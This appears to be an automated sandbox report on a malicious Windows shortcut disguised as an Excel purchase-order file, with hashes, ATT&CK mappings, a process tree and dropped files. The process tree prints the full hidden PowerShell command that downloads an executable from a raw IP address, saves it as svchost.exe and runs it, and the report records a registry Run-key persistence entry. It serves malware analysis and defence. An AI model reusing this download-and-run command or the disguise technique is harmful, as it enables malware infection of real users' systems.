3cb8dadd0ea4ff4b70d3e9c9caa024fcf171a8434f42fc7e977e4f3a63b23594

Analysis

max time kernel
148s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/07/2026, 18:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Acknowledged_PO_Confirmation.xlsx.lnk
Size 2KB
Sample260706-w16xtsbx2x
SHA256 3cb8dadd0ea4ff4b70d3e9c9caa024fcf171a8434f42fc7e977e4f3a63b23594
MD5 689b2ae3d716e7f296d4964892be9f4e
SHA1 08573a60fb23ae6ef63457a6b610cf1c143b5aaa
SHA512 2d7138f60ceb879e6739c7fdf0826f07497c6d67b1123f37e825e765553739d844b3a77bcbc0081907673ef7fb58ec15e4cb679013814acc89ac3eae27411b0e
TLSH
T12751EA212BF61314F3B38B3AACB6F3014532BC95DE129BCE0240925858B0624E8B4F2F
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	1484	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1484	powershell.exe
1484	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
5	1484	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1120	svchost.exe
2960	svchost.exe

Loads dropped DLL 2 IoCs

pid	Process
1120	svchost.exe
1120	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1991999443-3181470666-3272020885-1000\Software\Microsoft\Windows\CurrentVersion\Run\Synthetical = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Takeup\\Vildmarkers.exe"	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1120	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1484	powershell.exe
1484	powershell.exe
1120	svchost.exe
1120	svchost.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1484	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1120	svchost.exe
1120	svchost.exe

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
1120	svchost.exe
1120	svchost.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4108 wrote to memory of 1484	4108	cmd.exe	90
PID 1484 wrote to memory of 1120	1484	powershell.exe	92
PID 1120 wrote to memory of 2960	1120	svchost.exe	93
PID 1120 wrote to memory of 2960	1120	svchost.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Acknowledged_PO_Confirmation.xlsx.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:4108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "Invoke-WebRequest -Uri http://107.174.146.3/Bryllupsmarchens.exe -OutFile $env:TEMP\svchost.exe; Start-Process $env:TEMP\svchost.exe"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Downloads MZ/PE file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1484
- - C:\Users\Admin\AppData\Local\Temp\svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:1120
  - - C:\Users\Admin\AppData\Local\Temp\svchost.exe
      "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
      4⤵
      Executes dropped EXE
      PID:2960

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Callisto.ini

Path C:\Users\Admin\AppData\Local\Temp\Callisto.ini
Size 86B
SHA256 8387a866b720e2b8e37ceeaf14ccc153e69d7906b20309a26109a5084239e894
MD5 cb6ce6a947d5788b66f0f4acb8ee7323
SHA1 ee8ef4089f12711eeebd41757e34bc4eb248e238
SHA512 1bf3d6fbf768f87a4771b62b245489cefa26de8f143c9d6f5baba987a68aaa2e30b3b2c07d15d5ee9dc33aac316c759fa6d5b9bd3e7df21d940060ab6372b447
TLSH
T1B8A024744134740300414DDF11DC4D13314DC04C0475410170DC014C4FD75143C3C303
MD5 SHA1 SHA512 TLSH

Submit Download

System.dll

Path C:\Users\Admin\AppData\Local\Temp\nsf7566.tmp\System.dll
Size 25KB
SHA256 c7dd8cc8323e295b8821b0e320de208a7e20c068a8be8d03857520451ce9ded7
MD5 4abf19a47044ec746aa8c600f0bc149f
SHA1 69da1e4f654b044d7b3c845c12a07c988bf26eb8
SHA512 65727cbe3f03e0dceba06d206054e60adba321d29159b4bfb690c30b2ccd1a0a05a08c2aa50ac270fcd28557f4b482f492c36b0d7b7b980b477cd8971559610e
SSDEEP 384:jZ2pfUx9eVLwDKO9XYD/isN7lCEjgwMU/ktKi+R45Duwomq8pqdDvH81Q:jr96YIrx7lC7vU/kaG9uLmCdb
TLSH
T1DEB24C07F38398BFC51BC17186EF5772AA32BE211B616F6F1220F5756E24EA0871DA14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

svchost.exe

Path C:\Users\Admin\AppData\Local\Temp\svchost.exe
Size 466KB
SHA256 793e91eef011ce51c99af960c97490c091bb56b7b85720d4ba8ca420d1f27aec
MD5 dc3c7a0a634e79b8ef7a2d7e276d96bc
SHA1 90252df9edfcc082a37c5e7bd22d2f4909898859
SHA512 7f37a6f556dee2bbf416868ce0f672d0558dbbfd2c62bf5b0aa48dab2d494f5557431c73e4c1e141523676e54867330ffc7698f2d59c05d97b60247bb1a4f167
SSDEEP 12288:XBQEizGvu2Vl0OPYnARYhXIRo30YjOPYTYTevVSgfv+kfr6:XBezG9VnYAeh4RoNnmcVO
TLSH
T16AA40145FF96A8E9D83984319EB6D2A314317D8C5E25B22F631C7EAF7D70990C63B240
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1120-75-0x00007FF8CC2C0000-0x00007FF8CC2CF000-memory.dmp

Download

memory/1120-74-0x0000000140000000-0x000000014011D000-memory.dmp

Download

memory/1120-71-0x0000000005000000-0x0000000009E7B000-memory.dmp

Download

memory/1484-9-0x00007FF8B8B00000-0x00007FF8B94A4000-memory.dmp

Download

memory/1484-21-0x00007FF8B8B00000-0x00007FF8B94A4000-memory.dmp

Download

memory/1484-12-0x00007FF8B8B00000-0x00007FF8B94A4000-memory.dmp

Download

memory/1484-14-0x00007FF8B8B00000-0x00007FF8B94A4000-memory.dmp

Download

memory/1484-10-0x00007FF8B8B00000-0x00007FF8B94A4000-memory.dmp

Download

memory/1484-19-0x00007FF8B8B00000-0x00007FF8B94A4000-memory.dmp

Download

memory/1484-20-0x00007FF8B8B00000-0x00007FF8B94A4000-memory.dmp

Download

memory/1484-11-0x00007FF8B8B00000-0x00007FF8B94A4000-memory.dmp

Download

memory/1484-23-0x00007FF8B8B00000-0x00007FF8B94A4000-memory.dmp

Download

memory/1484-31-0x00007FF8B8B00000-0x00007FF8B94A4000-memory.dmp

Download

memory/1484-2-0x00007FF8B8C8F000-0x00007FF8B8C90000-memory.dmp

Download

memory/1484-8-0x00007FF8B8B00000-0x00007FF8B94A4000-memory.dmp

Download

memory/1484-5-0x00007FF8B8B00000-0x00007FF8B94A4000-memory.dmp

Download

memory/1484-7-0x00007FF8B8B00000-0x00007FF8B94A4000-memory.dmp

Download

memory/1484-6-0x000001B367B00000-0x000001B367B22000-memory.dmp

Download

memory/2960-72-0x0000000000080000-0x0000000000138000-memory.dmp

Download